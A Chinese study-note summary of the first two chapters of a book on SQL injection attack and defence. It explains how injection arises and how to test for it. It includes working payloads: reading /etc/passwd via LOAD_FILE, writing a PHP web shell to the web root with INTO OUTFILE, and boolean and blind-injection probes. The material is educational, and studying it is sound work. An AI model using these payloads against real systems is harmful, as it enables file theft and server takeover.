Table of Contents

SQL注入攻击与防御（第二版）

国外专业pentestor力荐此书。

第一章：什么是SQL注入

1.4理解SQL注入的产生过程

1.4.1 构造动态字符串

构造动态字符串是一种编程技术，它允许开发人员在运行过程中动态构造SQL语句。

参数化查询是指SQL语句中包含一个或多个嵌入参数的查询。可以在运行过程中将参数传递给这些查询。包含的嵌入到用户输入中的参数不会被解析成名命令而执行，而且代码不存在被注入的机会。

下列PHP代码展示了某些开发人员如何根据用户输入来动态构造SQL字符串语句。该语句从数据库的表中选择数据。

```
//在PHP中动态构造SQL语句的字符串
$query = "select * from table where field = '$_GET[""input]'";

//在.NET中动态构造SQL语句的字符串
query = "select * from table where field = '" + request.getParameter("input") + " ' ";
```

像上面那样构造动态SQL语句的问题是：如果在将输入传递给动态创建的语句之前，未对代码进行验证或编码，那么鬼记者会将SQL语句作为输入提供给应用并将SQL语句传递给数据库加以执行。 下面是使用上述代码构造的SQL语句：

```
select * from table where field = 'input'
```

1.转义字符处理不当

SQL数据库将单引号字符解析成代码与数据间的分界线：单引号外面的内容均是需要运行的代码，而用单引号引起来的内容均为数据。 单引号并不是唯一的转义字符：比如Oracle中，空格，双竖线(||)、逗号、点均具有特殊意义。例如：

```
--管道字符用于为一个值追加一个函数
--函数将被执行，函数的结果将转换并与前面的值连接
http://www.xxx.com/id=1 || utl_inaddr.get_host_address(local)--

--星号后跟一个正斜线，用于结束注释或Oracle中的优化提示
http://www.xxx.com/hint=*/ from dual-

在SAP MAX DB（SAP DB）中，开始定界符是由一个小于符号和一个感叹号组成的：
http://www.xxx.com/id=1 union select operating system from sysinfo.version--<!
```

2.类型处理不当

处理数字数据时，不需要使用单引号将数字数据引起来，否则，数据数据会被当作字符串处理。 MYSQL 提供了一个名为LOAD_FILE的函数，它能够读取文件并将文件内容作为字符串返回。调用该函数的用户必须拥有FILE权限。

```
union all select load_file('/etc/passwd')--
```

MYSQL内置命令，使用该命令来创建系统文件并进行写操作。

```
union select "<? system($_request['cmd']); ?>" into outfile "/var/www/cmd.php" -
```

3.查询语句组装不当

有时需要使用动态SQL语句对某些复杂的应用进行编码，因为在程序开发阶段不可能还不知道要查询的表或字段。

4.错误处理不当

将详细的内部错误消息（如数据库转储、错误代码等）显示给用户或攻击者。

```
' and 1 in (select @@version) -
```

5.多个提交处理不当

白名单是一种除了白名单中的字符外，禁止使用其他字符的技术。黑名单是一种除了黑名单中的字符外，其他字符均允许使用的技术。 多参数查询，多参数可能产生注入。

第二章：SQL注入测试

2.2寻找SQL注入

sql注入可以出现在任何从系统或用户接收数据输入的前端应用程序中，这些应用程序之后被用于访问数据库服务器。

2.2.1借助推理进行测算

SQL漏洞识别规则包括如下： 1)识别WEB应用上所有的数据输入 2)了解哪种类型的请求会触发异常 3)检测服务器响应中的异常

1.识别数据输入

识别WEB应用所接收的所有数据输入。目前只关注与寻找SQL注入相关的两种方法：GET和POST。 注意：数据如何在浏览器中呈现并不重要。有些值可能是表单中的隐藏字段，也可能是带一组选项的下拉字段；有些值则可能有大小限制或者包含禁用的字段。

修改数据的两种方法： 1）浏览器修改扩展 2）代理服务器

其他注入型数据

cookie一般用于验证、会话控制和保存用户特定的信息。在其他HTTP请求内容中，易受注入攻击的应用实例还包括主机头、引用站点头和用户代理头。

2.操纵参数

在数据库层，有4种主要的数据库操作，这4种操作如下所示： select:根据搜索条件从数据库中读取数据 insert:将新数据插入到数据库中 update:根据指定的条件更新数据中已有的数据 delete:根据指定的条件删除数据库中已有的数据

识别oracle和postgreSQL中的漏洞，向WEB服务器发送下面两个请求。

```
http://xxx.com/test.php?cat=bikes
http://xxx.com/test.php?cat=bi'||'kes

在MSSQL中与之等价的请求为：
http://xxx.com/test.php?cat=bikes
http://xxx.com/test.php?cat=bi'+'kes

在MYSQL中与之等价的请求为（请注意两个单引号之间的空格）
http://xxx.com/test.php?cat=bikes
http://xxx.com/test.php?cat=bi''kes
```

如果两个请求的结果相同，那么很有可能存在SQL注入漏洞

3.信息工作流

动态WEB请求所涉及的各方之间的信息工作流：

(1)用户向WEB服务器发送请求

(2)WEB服务器检索用户数据，创建包含用户输入的SQL语句，然后向数据库服务器发送查询。

(3)数据库服务器执行SQL查询并将结果返回给WEB服务器。请注意，数据库服务器并不知道应用逻辑，它只是执行查询并返回结果。

(4)WEB服务器根据实际可相应动态地创建HTML页面。

2.2.2 数据库错误

在产生SQL注入错误的过程中发生如下事件：
(1用户发送请求，尝试识别SQL注入漏洞。
(2)WEB服务器检索用户并向数据库服务器发送SQL查询。
(3)数据库服务器接受格式不正确的SQL查询并向WEB服务器返回一条错误信息
(4)WEB服务器接受来自数据库的错误并向用户发送HTML响应。

上述说明了用户请求出发数据库错误时的场景。根据应用编码方式的不同，一般按下列方法对步骤(4)中返回的文件进行构造和处理：

```
将SQL错误先是在页面上，它对WEB浏览器用户可见。
将SQL错误隐藏在WEB页面的源代码中以便于调试。
检测到错误时跳转到另一个页面。
返回HTTP错误代码500或HTTP重定向代码302。
应用适当地处理错误但不显示结果，可能会显示一个通用的错误页面。
```

1)MSSQL 错误 SQL server认为，如果该值不是一个数字，那么它肯定是个列名。 通过将字符串换为整数来产生错误。

2)MYSQL 错误 MYSQL服务器中的行为与SQL Server中的相同。由于没有将该值包含在引号中，因此MYSQL将它看作一个列名。

3)Oracle 错误 ORA-01756 该错误表明Oracle数据库检测到SQL语句中有一个使用单引号引起来的字符串未被正确结束

4)PostgreSQL 错误 ...

2.2.3 应用程序的响应

寻找SQL注入漏洞的过程包括识别用户数据输入、操纵发送给应用的数据以及识别服务器返回结果中的变化。

HTTP代码错误

最常见的HTTP返回代码是HTTP200,它表示请求已成功接收。
WEB服务器在呈现请求的WEB源时，如果发现错误，便会返回HTTP500。
当发现错误时，有些应用会采取另一种比较常见的处理方式：重定向到首页或自定义错误页面。可通过302重定向代码来实现该操作。
在操纵发送给服务器的参数时收到HTTP500或HTTP302响应会是个好现象，因为这意味着我们已经以某种方式干预了应用的正常行为。

不同大小的响应

如果请求发生SQL错误，就会捕获异常并将相应返回给用户。由于变成编程方式存在差异，最终的响应会稍有不同。

2.2.4 SQL盲注

有时不可能显示数据库的所有信息，但并不代表代码不会受到SQL注入攻击。

```
user' or '1'='1--- Invalid password
user' or '1'='1--- Invalid username or password
```

发现这种情况，可注入一个永假条件并检查返回值的差异，这对进一步核实username字段是否易受SQL注入攻击来说非常有用。

SQL盲住是一种SQL注入漏洞，攻击者可以操纵SQL语句，应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。

```
http://www.xxx.com/show.php?id=3-1
```

上述URL表明已将参数传递给SQL语句且按下列方式执行

select * from products where idproduct=3-1

数据库计算减法的值并返回idproduct为2的商品。

通用语法中声称，加号是URL的保留字，需要进行编码。可以用%2B代表加号的URL编码。如：

```
http://www.xxx.com/show.php?id=1%2B5 (对id=1+5进行编码)
```

继续推理过程，现在可以在id值的后面插入条件，创建真假结果：

```
http://www.xxx.com/show.php?id=1 or 1=1
http://www.xxx.com/show.php?id=1 or 1=2
```

在第一条语句中，or 1=1 让数据库返回所有商品。数据库检测该语句为异常，显示第一件商品。 在第二条与剧中，or 1=2 对结果没有影响，执行流程没有变化。 可以选择AND逻辑运算符来替换OR。